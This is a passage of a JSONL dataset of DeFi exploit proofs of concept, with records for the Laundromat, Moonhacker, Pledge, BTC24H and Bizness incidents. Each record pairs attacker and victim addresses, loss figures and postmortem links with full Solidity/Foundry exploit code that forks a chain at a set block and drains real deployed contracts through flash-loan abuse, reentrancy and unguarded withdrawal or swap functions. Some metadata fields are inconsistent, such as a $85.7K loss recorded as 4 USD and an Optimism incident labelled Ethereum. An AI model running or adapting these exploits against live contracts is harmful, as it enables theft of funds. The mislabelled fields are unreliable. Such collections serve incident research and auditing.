"total_lost_usd": 1500.0, "attacker_address": "https://etherscan.io/address/0xd6be07499d408454d090c96bd74a193f61f706f4", "attack_contract": "https://etherscan.io/address/0x2e95cfc93ebb0a2aace603ed3474d451e4161578", "vulnerable_contract": "https://etherscan.io/address/0x934cbbe5377358e6712b5f041d90313d935c501c", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x08ffb5f7ab6421720ab609b6ab0ff5622fba225ba351119c21ef92c78cb8302c", "postmortem_url": "https://x.com/TenArmorAlert/status/1909814943290884596", "twitter_url": "https://x.com/TenArmorAlert/status/1909814943290884596", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "1.5K USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x2E95CFC93EBb0a2aACE603ed3474d451E4161578\ncontract AttackerC {\n constructor() { \n if (address(this) == addr1) {\n // deposit() x4\n (bool s1,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,\n 0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,\n 0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6\n ));\n require(s1);\n (bool s2,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,\n 0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,\n 0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6\n ));\n require(s2);\n (bool s3,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,\n 0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,\n 0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6\n ));\n require(s3);\n (bool s4,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,\n 0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,\n 0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6\n ));\n require(s4);\n\n // withdrawStart(signature[], x0, Ix, Iy)\n uint256[] memory sig = new uint256[](5);\n sig[0] = 0x33f79225929030e6369f0fbf5500142b8a4e10370e35f701a0e5c4d324f098d6;\n sig[1] = 0x93708ff3b6dcb272664acb22881510360a04ca1a0a05a8dda37d06ddc62e5bf0;\n sig[2] = 0xec91250cc040f420bdd11eb4b77cbf1d659ed043e88dbe49b392d44a85453e04;\n sig[3] = 0xddaef0451b6c22a35bc641cd5f66aae904351f8adca3e588f0385d9d0bec542f;\n sig[4] = 0x2652c96f86b22f421949daee41ffef503df3a06072e372de15105d0783bc2ba3;\n\n (bool s5,) = Laundromat.call(abi.encodeWithSelector(\n ILaundromat.withdrawStart.selector,\n sig,\n 0xa844d117805bbe3b276c37582fc1f960b5870ccd0d1016ec39a2b32a5bc780cf,\n 0x3184ac964636725c9c94d3767739fd89fc58da189ef8579409052b860e00b28f,\n 0xd7b3de3e1198ad3c53db7b873132bd16741f130d8fe73e801b281182cc3da487\n ));\n require(s5);\n\n // withdrawStep() x5\n for (uint256 i = 0; i < 5; i++) {\n (bool ss,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.withdrawStep.selector));\n require(ss);\n }\n\n // withdrawFinal()\n (bool sf,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.withdrawFinal.selector));\n require(sf);\n\n selfdestruct(payable(attacker));\n }\n } \n}\n\ninterface ILaundromat {", "has_exploit_code": true, "keyinfo_total_lost": "1.5K USD", "keyinfo_attacker": "https://etherscan.io/address/0xd6be07499d408454d090c96bd74a193f61f706f4", "keyinfo_attack_contract": "https://etherscan.io/address/0x2e95cfc93ebb0a2aace603ed3474d451e4161578", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x934cbbe5377358e6712b5f041d90313d935c501c", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x08ffb5f7ab6421720ab609b6ab0ff5622fba225ba351119c21ef92c78cb8302c", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1909814943290884596", "analysis_twitter": "https://x.com/TenArmorAlert/status/1909814943290884596", "funds_lost_formatted": "$1.5K", "content_richness_score": 8.28, "quality_estimate": "high", "title": "Laundromat Exploit (2025-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : \u00a0318.9 k\n// Attacker : https://optimistic.etherscan.io/address/0x36491840ebcf040413003df9fb65b6bc9a181f52\n// Attack Contract1 : https://optimistic.etherscan.io/address/0x4e258f1705822c2565d54ec8795d303fdf9f768e\n// Attack Contract2 : https://optimistic.etherscan.io/address/0x3a6eaaf2b1b02ceb2da4a768cfeda86cff89b287\n// Vulnerable Contract : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847\n// Attack Tx : https://optimistic.etherscan.io/tx/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe\n\n// @Info\n// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847#code (MoonHacker.sol)\n// Mtoken code : https://optimistic.etherscan.io/address/0xA9CE0A4DE55791c5792B50531b18Befc30B09dcC#code (MToken.sol)\n// Mtoken docs : https://docs.moonwell.fi/moonwell/developers/mtokens/contract-interactions\n\n// @Analysis\n// On-chain transaction analysis: https://app.blocksec.com/explorer/tx/optimism/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe\n// Post-mortem : https://blog.solidityscan.com/moonhacker-vault-hack-analysis-ab122cb226f6\n// Twitter Guy : https://x.com/quillaudits_ai/status/1871607695700296041\n// Hacking God : https://x.com/CertiKAlert/status/1871347300918030409\n\ninterface IMusdc {\n function borrowBalanceCurrent(address account) external returns (uint);\n function getAccountSnapshot(address account) external returns (uint, uint, uint, uint);\n}\n\ninterface IMoonhacker {\n function executeOperation(\n address token,\n uint256 amountBorrowed,\n uint256 premium,\n address initiator,\n bytes calldata params\n ) external;\n}\n\ncontract Moonhacker is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 129_697_251 - 1;\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IMusdc mUSDC = IMusdc(0x8E08617b0d66359D73Aa11E11017834C29155525);\n IMoonhacker moonhacker = IMoonhacker(0xD9B45e2c389b6Ad55dD3631AbC1de6F2D2229847);\n IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);\n\n function setUp() public {\n // You may need to change \"optimism\" to your own rpc url\n vm.createSelectFork(\"optimism\", blocknumToForkFrom);\n\n fundingToken = address(USDC);\n\n vm.label(address(USDC), \"USDC\");\n vm.label(address(mUSDC), \"mUSDC\");\n vm.label(address(moonhacker), \"moonhacker\");\n vm.label(address(aaveV3), \"AAVE V3\");\n }\n\n function testExploit() public balanceLog {\n Attacker attacker = new Attacker();\n attacker.attack();\n attacker.getProfit();\n }\n}\n\ncontract Attacker {\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IMusdc mUSDC = IMusdc(0x8E08617b0d66359D73Aa11E11017834C29155525);\n IMoonhacker moonhacker = IMoonhacker(0xD9B45e2c389b6Ad55dD3631AbC1de6F2D2229847);\n IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);\n\n function attack() public {\n // Start the flashloan\n aaveV3.flashLoanSimple(address(this), address(USDC), 883_917_967_954, new bytes(0), 0);\n }\n\n // Called back by AAVE V3\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initator,\n bytes calldata params\n ) external returns (bool) {\n // The actual exploit called 4 times\n for (uint i = 0; i < 4; i++) {\n redeem();\n returnFunds();\n }\n USDC.approve(address(aaveV3), amount + premium); // Approve AAVE V3 to repay the flashloan\n return true;\n }\n\n // Make moonhacker redeem USDC from mUSDC\n function redeem() public {\n // Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex\n uint256 borrowBalance = mUSDC.borrowBalanceCurrent(address(moonhacker));\n // Get moonhacker's mTokenBalance, borrowBalance, and exchangeRateMantissa\n (, uint256 mTokenBalance,,) = mUSDC.getAccountSnapshot(address(moonhacker));\n // Give moonhacker USDC to repay\n USDC.transfer(address(moonhacker), borrowBalance);\n\n uint8 operationType = 1; // REDEEM\n bytes memory encodedRedeemParams = abi.encode(operationType, address(mUSDC), mTokenBalance);\n\n // IERC20(token).approve(mToken, amountBorrowed) => IERC20(USDC).approve(mUSDC, borrowBalance);\n // IMToken(mToken).repayBorrow(amountBorrowed) => IMToken(mUSDC).repayBorrow(borrowBalance)\n // IMToken(mToken).redeem(amountToSupplyOrReedem) => IMToken(mUSDC).redeem(mTokenBalance)\n // Get more USDC back by repaying and redeeming\n moonhacker.executeOperation(address(USDC), borrowBalance, 0, address(this), encodedRedeemParams);\n }\n\n // Get back the USDC from moonhacker to attacker contract\n function returnFunds() public {\n uint256 moonhackerUSDCBalance = USDC.balanceOf(address(moonhacker));\n uint8 operationType = 0; // SUPPLY\n bytes memory encodedReturnParams = abi.encode(operationType, address(this), 0);\n\n // IERC20(token).approve(mToken, totalSupplyAmount);\n // IERC20(USDC).approve(address(this), moonhackerUSDCBalance);\n // Approve USDC to attacker contract\n moonhacker.executeOperation(address(USDC), moonhackerUSDCBalance, 0, address(this), encodedReturnParams);\n \n USDC.transferFrom(address(moonhacker), address(this), moonhackerUSDCBalance);\n }\n\n // Cheat moonhacker to pass the check (SUPPLY part)\n function mint(uint256 amount) public pure returns (uint8) {\n return 0;\n }\n\n // Cheat moonhacker to pass the check (SUPPLY part)\n function borrow(uint256 amount) public pure returns (uint8) {\n return 0;\n }\n\n function getProfit() public{\n uint256 profit = USDC.balanceOf(address(this));\n USDC.transfer(msg.sender, profit);\n }\n}", "type": "exploit_poc", "protocol": "Moonhacker", "date": "2024-12", "file_name": "Moonhacker_exp.sol", "attack_vector": "flash_loan", "content_hash": "16409cd09aeb4155", "collected_at": "2026-01-07T10:59:16.545193", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "318.9 k", "total_lost_usd": 318900.0, "attacker_address": "https://optimistic.etherscan.io/address/0x36491840ebcf040413003df9fb65b6bc9a181f52", "attack_contract": null, "vulnerable_contract": "https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847", "attack_tx": "https://optimistic.etherscan.io/tx/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe", "postmortem_url": "https://blog.solidityscan.com/moonhacker-vault-hack-analysis-ab122cb226f6", "twitter_url": "https://x.com/quillaudits_ai/status/1871607695700296041", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "318.9 k", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n Attacker attacker = new Attacker();\n attacker.attack();\n attacker.getProfit();\n }\n}\n\ncontract Attacker {\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IMusdc mUSDC = IMusdc(0x8E08617b0d66359D73Aa11E11017834C29155525);\n IMoonhacker moonhacker = IMoonhacker(0xD9B45e2c389b6Ad55dD3631AbC1de6F2D2229847);\n IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);", "has_exploit_code": true, "keyinfo_total_lost": "318.9 k", "keyinfo_attacker": "https://optimistic.etherscan.io/address/0x36491840ebcf040413003df9fb65b6bc9a181f52", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847", "keyinfo_attack_tx": "https://optimistic.etherscan.io/tx/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe", "analysis_postmortem": "https://blog.solidityscan.com/moonhacker-vault-hack-analysis-ab122cb226f6", "analysis_twitter": "https://x.com/quillaudits_ai/status/1871607695700296041", "funds_lost_formatted": "$318.9K", "content_richness_score": 10, "quality_estimate": "high", "title": "Moonhacker Exploit (2024-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 15K\n// Attacker : https://bscscan.com/address/0x59367b057055fd5d38ab9c5f0927f45dc2637390\n// Attack Contract : https://bscscan.com/address/0x4aa0548019bfecd343179d054b1c7fa63e1e0b6c\n// Vulnerable Contract : https://bscscan.com/address/0x061944c0f3c2d7dabafb50813efb05c4e0c952e1\n// Attack Tx : https://bscscan.com/tx/0x63ac9bc4e53dbcfaac3a65cb90917531cfdb1c79c0a334dda3f06e42373ff3a0\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x061944c0f3c2d7dabafb50813efb05c4e0c952e1#code\n\n// @Analysis\n// Post-mortem : \n// Twitter Guy : \n// Hacking God : \npragma solidity ^0.8.0;\n\nimport \"../interface.sol\";\n\ninterface IPledge {\n function swapTokenU(uint256 amount, address _target) external;\n}\n\ncontract Pledge is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 44_555_337;\n address internal constant pledge = 0x061944c0f3c2d7DABafB50813Efb05c4e0c952e1;\n address internal constant MFT = 0x4E5A19335017D69C986065B21e9dfE7965f84413;\n address internal constant BUSD = 0x55d398326f99059fF775485246999027B3197955;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n deal(BUSD, address(this), 0);\n fundingToken = address(BUSD);\n }\n\n function testExploit() public balanceLog {\n uint256 amount = IERC20(MFT).balanceOf(pledge);\n address _target = address(this);\n IPledge(pledge).swapTokenU(amount, _target);\n }\n}\n", "type": "exploit_poc", "protocol": "Pledge", "date": "2024-12", "file_name": "Pledge_exp.sol", "attack_vector": null, "content_hash": "c7d853e0c4086503", "collected_at": "2026-01-07T10:59:16.545254", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "15K", "total_lost_usd": 15000.0, "attacker_address": "https://bscscan.com/address/0x59367b057055fd5d38ab9c5f0927f45dc2637390", "attack_contract": "https://bscscan.com/address/0x4aa0548019bfecd343179d054b1c7fa63e1e0b6c", "vulnerable_contract": "https://bscscan.com/address/0x061944c0f3c2d7dabafb50813efb05c4e0c952e1", "attack_tx": "https://bscscan.com/tx/0x63ac9bc4e53dbcfaac3a65cb90917531cfdb1c79c0a334dda3f06e42373ff3a0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "15K", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n uint256 amount = IERC20(MFT).balanceOf(pledge);\n address _target = address(this);\n IPledge(pledge).swapTokenU(amount, _target);\n }", "has_exploit_code": true, "keyinfo_total_lost": "15K", "keyinfo_attacker": "https://bscscan.com/address/0x59367b057055fd5d38ab9c5f0927f45dc2637390", "keyinfo_attack_contract": "https://bscscan.com/address/0x4aa0548019bfecd343179d054b1c7fa63e1e0b6c", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x061944c0f3c2d7dabafb50813efb05c4e0c952e1", "keyinfo_attack_tx": "https://bscscan.com/tx/0x63ac9bc4e53dbcfaac3a65cb90917531cfdb1c79c0a334dda3f06e42373ff3a0", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$15.0K", "content_richness_score": 6.77, "quality_estimate": "medium", "title": "Pledge Exploit (2024-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 4,953 USDT + 0.76 WBTC ($85.7K)\n// Attacker : https://polygonscan.com/address/0xde0a99fb39e78efd3529e31d78434f7645601163\n// Attack Contract : https://polygonscan.com/address/0x3cb2452c615007b9ef94d5814765eb48b71ae520\n// Vulnerable Contract : https://polygonscan.com/address/0x968e1c984a431f3d0299563f15d48c395f70f719\n// Attack Tx : https://polygonscan.com/tx/0x554c9e4067e3bc0201ba06fc2cfeeacd178d7dd9c69f9b211bc661bb11296fde\n\n// @Info\n// Vulnerable Contract Code : https://polygonscan.com/address/0x968e1c984a431f3d0299563f15d48c395f70f719#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1868845296945426760\n// Hacking God : N/A\n\naddress constant LOCK = 0x968e1c984A431F3D0299563F15d48C395f70F719;\naddress constant UNIVERSAL_ROUTER = 0xec7BE89e9d109e7e3Fec59c222CF297125FEFda2;\n\naddress constant USDT_ADDR = 0xc2132D05D31c914a87C6611C10748AEb04B58e8F;\naddress constant WBTC = 0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6;\naddress constant BTC24H_TOKEN = 0xea4b5C48a664501691B2ECB407938ee92D389a6f;\n\ncontract BTC24H_exp is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 65_560_669 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"polygon\", blocknumToForkFrom);\n // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = WBTC;\n\n vm.label(LOCK, \"Lock\");\n vm.label(UNIVERSAL_ROUTER, \"UniversalRouter\");\n\n vm.label(USDT_ADDR, \"USDT\");\n vm.label(WBTC, \"WBTC\");\n vm.label(BTC24H_TOKEN, \"BTC24H\");\n }\n\n function testExploit() public {\n address attacker = 0xDE0A99Fb39E78eFd3529e31D78434f7645601163;\n emit log_named_decimal_uint(\"[Before] USDT\", TokenHelper.getTokenBalance(USDT_ADDR, attacker), 6);\n emit log_named_decimal_uint(\"[Before] WBTC\", TokenHelper.getTokenBalance(WBTC, attacker), 8);\n\n vm.startPrank(attacker);\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"[After] USDT\", TokenHelper.getTokenBalance(USDT_ADDR, attacker), 6);\n emit log_named_decimal_uint(\"[After] WBTC\", TokenHelper.getTokenBalance(WBTC, attacker), 8);\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() {\n attacker = msg.sender;\n }\n\n function start() public {\n // uint256 btc24hBalance = TokenHelper.getTokenBalance(BTC24H_TOKEN, LOCK); // 110000000000000000000000\n\n ILock(LOCK).claim();\n TokenHelper.transferToken(BTC24H_TOKEN, UNIVERSAL_ROUTER, 10_000_000_000_000_000_000_000);\n\n bytes[] memory inputs = new bytes[](1);\n inputs[0] =\n hex\"000000000000000000000000de0a99fb39e78efd3529e31d78434f764560116300000000000000000000000000000000000000000000021e19e0c9bab2400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002bea4b5c48a664501691b2ecb407938ee92d389a6f002710c2132d05d31c914a87c6611c10748aeb04b58e8f000000000000000000000000000000000000000000\";\n IUniversalRouter(UNIVERSAL_ROUTER).execute(hex\"00\", inputs, block.timestamp + 1 hours);\n\n TokenHelper.transferToken(BTC24H_TOKEN, UNIVERSAL_ROUTER, 100_000_000_000_000_000_000_000);\n inputs[0] =\n hex\"000000000000000000000000de0a99fb39e78efd3529e31d78434f764560116300000000000000000000000000000000000000000000152d02c7e14af6800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002bea4b5c48a664501691b2ecb407938ee92d389a6f0027101bfd67037b42cf73acf2047067bd4f2c47d9bfd6000000000000000000000000000000000000000000\";\n IUniversalRouter(UNIVERSAL_ROUTER).execute(hex\"00\", inputs, block.timestamp + 1 hours);\n }\n\n receive() external payable {}\n}\n\ninterface ILock {\n function claim() external;\n}\n\ninterface IUniversalRouter {\n function execute(bytes calldata commands, bytes[] calldata inputs, uint256 deadline) external payable;\n}\n", "type": "exploit_poc", "protocol": "BTC24H", "date": "2024-12", "file_name": "BTC24H_exp.sol", "attack_vector": null, "content_hash": "37d7e68ad9d36f83", "collected_at": "2026-01-07T10:59:16.545300", "_source": "postmortems", "chain": "polygon", "block_number": null, "total_lost_raw": "~ 4,953 USDT + 0.76 WBTC ($85.7K)", "total_lost_usd": 4.0, "attacker_address": "https://polygonscan.com/address/0xde0a99fb39e78efd3529e31d78434f7645601163", "attack_contract": "https://polygonscan.com/address/0x3cb2452c615007b9ef94d5814765eb48b71ae520", "vulnerable_contract": "https://polygonscan.com/address/0x968e1c984a431f3d0299563f15d48c395f70f719", "attack_tx": "https://polygonscan.com/tx/0x554c9e4067e3bc0201ba06fc2cfeeacd178d7dd9c69f9b211bc661bb11296fde", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1868845296945426760", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~ 4,953 USDT + 0.76 WBTC ($85.7K)", "category": "unknown", "exploit_code": "function testExploit() public {\n address attacker = 0xDE0A99Fb39E78eFd3529e31D78434f7645601163;\n emit log_named_decimal_uint(\"[Before] USDT\", TokenHelper.getTokenBalance(USDT_ADDR, attacker), 6);\n emit log_named_decimal_uint(\"[Before] WBTC\", TokenHelper.getTokenBalance(WBTC, attacker), 8);\n\n vm.startPrank(attacker);\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"[After] USDT\", TokenHelper.getTokenBalance(USDT_ADDR, attacker), 6);\n emit log_named_decimal_uint(\"[After] WBTC\", TokenHelper.getTokenBalance(WBTC, attacker), 8);\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 4,953 USDT + 0.76 WBTC ($85.7K)", "keyinfo_attacker": "https://polygonscan.com/address/0xde0a99fb39e78efd3529e31d78434f7645601163", "keyinfo_attack_contract": "https://polygonscan.com/address/0x3cb2452c615007b9ef94d5814765eb48b71ae520", "keyinfo_vulnerable_contract": "https://polygonscan.com/address/0x968e1c984a431f3d0299563f15d48c395f70f719", "keyinfo_attack_tx": "https://polygonscan.com/tx/0x554c9e4067e3bc0201ba06fc2cfeeacd178d7dd9c69f9b211bc661bb11296fde", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1868845296945426760", "funds_lost_formatted": "$4", "content_richness_score": 8.26, "quality_estimate": "high", "title": "BTC24H Exploit (2024-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport '../interface.sol';\n\n// @KeyInfo - Total Lost : 15.7k USD\n// Attacker : https://basescan.org/address/0x3cc1edd8a25c912fcb51d7e61893e737c48cd98d\n// Attack Contract : https://basescan.org/address/0x0f30ae8f41a5d3cc96abd07adf1550a9a0e557b5\n// Vulnerable Contract : https://basescan.org/address/0xd6a7cfa86a41b8f40b8dfeb987582a479eb10693\n// Attack Tx : https://basescan.org/tx/0x984cb29cdb4e92e5899e9c94768f8a34047d0e1074f9c4109364e3682e488873\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0xd6a7cfa86a41b8f40b8dfeb987582a479eb10693#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1872857132363645205\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant LOCKER = 0x80b9C9C883e376c4aA43d72413aB1Bd6A64A0654;\naddress constant BIZNESS_TOKEN = 0xF3a605573B93Fd22496f471A88AE45F35C1df5A7;\naddress constant ATTACKER = 0x0F30AE8f41a5d3Cc96abd07Adf1550A9A0E557b5;\n\ncontract Bizness is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 24282214 - 1;\n uint256 lockId = 11;\n\n function setUp() public {\n vm.createSelectFork(\"base\", blocknumToForkFrom);\n fundingToken = BIZNESS_TOKEN;\n vm.deal(address(this), 1 ether);\n console.log(\"hello\");\n\n vm.prank(ATTACKER);\n ILocker(LOCKER).transferLock(lockId, address(this));\n }\n\n function testExploit() public balanceLog {\n ILocker locker = ILocker(LOCKER);\n\n Lock memory lockBefore = locker.locks(lockId);\n console.log(\"lockBefore.amount \", lockBefore.amount);\n // Step 1: Split the lock to trigger reentrancy\n uint256 newSplitId = locker.splitLock{value: 0.011 ether}(lockId, lockBefore.amount - 1, 1735353747);\n\n // EXPLOIT RESULT: \n // - Original lock (lockId) is now withdrawn (empty)\n // - New lock (newSplitId) contains (lockBefore.amount - 1) tokens\n // - Contract balance increased by lockBefore.amount tokens\n Lock memory lockAfter = locker.locks(newSplitId);\n console.log(\"lockAfter.amount \", lockAfter.amount);\n }\n \n function withdrawLock(uint256 _splitId) public {\n // Step 3: withdraw full locked amount\n ILocker locker = ILocker(LOCKER);\n locker.withdrawLock(_splitId);\n }\n\n receive() external payable {\n // Step 2: Reentrancy entry point\n console.log('received 0.001 ether', msg.value);\n withdrawLock(lockId);\n }\n}\n\nstruct Lock {\n address token;\n uint256 tokenId;\n address beneficiary;\n uint256 amount;\n uint256 unlockTime;\n bool withdrawn;\n}\n\ninterface ILocker {\n function locks(uint256 lockId) external view returns (Lock memory);\n function splitLock(uint256 _id, uint256 _newAmount, uint256 _newUnlockTime) external payable returns (uint256 _splitId);\n function withdrawLock(uint256 _id) external;\n function transferLock(uint256 _id, address _newBeneficiary) external;\n}", "type": "exploit_poc", "protocol": "Bizness", "date": "2024-12", "file_name": "Bizness_exp.sol", "attack_vector": "reentrancy", "content_hash": "18fbb819c13768b8", "collected_at": "2026-01-07T10:59:16.545351", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "15.7k USD", "total_lost_usd": 15700.0, "attacker_address": "https://basescan.org/address/0x3cc1edd8a25c912fcb51d7e61893e737c48cd98d", "attack_contract": "https://basescan.org/address/0x0f30ae8f41a5d3cc96abd07adf1550a9a0e557b5", "vulnerable_contract": "https://basescan.org/address/0xd6a7cfa86a41b8f40b8dfeb987582a479eb10693", "attack_tx": "https://basescan.org/tx/0x984cb29cdb4e92e5899e9c94768f8a34047d0e1074f9c4109364e3682e488873", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1872857132363645205", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "15.7k USD", "category": "reentrancy", "exploit_code": "function testExploit() public balanceLog {\n ILocker locker = ILocker(LOCKER);\n\n Lock memory lockBefore = locker.locks(lockId);\n console.log(\"lockBefore.amount \", lockBefore.amount);\n // Step 1: Split the lock to trigger reentrancy\n uint256 newSplitId = locker.splitLock{value: 0.011 ether}(lockId, lockBefore.amount - 1, 1735353747);\n\n // EXPLOIT RESULT: \n // - Original lock (lockId) is now withdrawn (empty)\n // - New lock (newSplitId) contains (lockBefore.amount - 1) tokens\n // - Contract balance increased by lockBefore.amount tokens\n Lock memory lockAfter = locker.locks(newSplitId);\n console.log(\"lockAfter.amount \", lockAfter.amount);\n }", "has_exploit_code": true, "keyinfo_total_lost": "15.7k USD", "keyinfo_attacker": "https://basescan.org/address/0x3cc1edd8a25c912fcb51d7e61893e737c48cd98d", "keyinfo_attack_contract": "https://basescan.org/address/0x0f30ae8f41a5d3cc96abd07adf1550a9a0e557b5", "keyinfo_vulnerable_contract": "https://basescan.org/address/0xd6a7cfa86a41b8f40b8dfeb987582a479eb10693", "keyinfo_attack_tx": "https://basescan.org/tx/0x984cb29cdb4e92e5899e9c94768f8a34047d0e1074f9c4109364e3682e488873", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1872857132363645205", "funds_lost_formatted": "$15.7K", "content_richness_score": 8.51, "quality_estimate": "high", "title": "Bizness Exploit (2024-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 3k USD\n// Attacker : https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b138\n// Attack Contract : https://bscscan.com/address/0x051e057ea275caf9a73578a97af6e8965e5a2349\n// Vulnerable Contract : https://bscscan.com/address/0x72c114A1A4abC65BE2Be3E356eEde296Dbb8ba4c\n// Attack Tx : https://bscscan.com/tx/0x6c729ee778332244de099ba0cb68808fcd7be4a667303fcdf2f54dd4b3d29051\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x72c114A1A4abC65BE2Be3E356eEde296Dbb8ba4c#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/CertiKAlert/status/1869580379675590731\n// Hacking God : N/A\npragma solidity 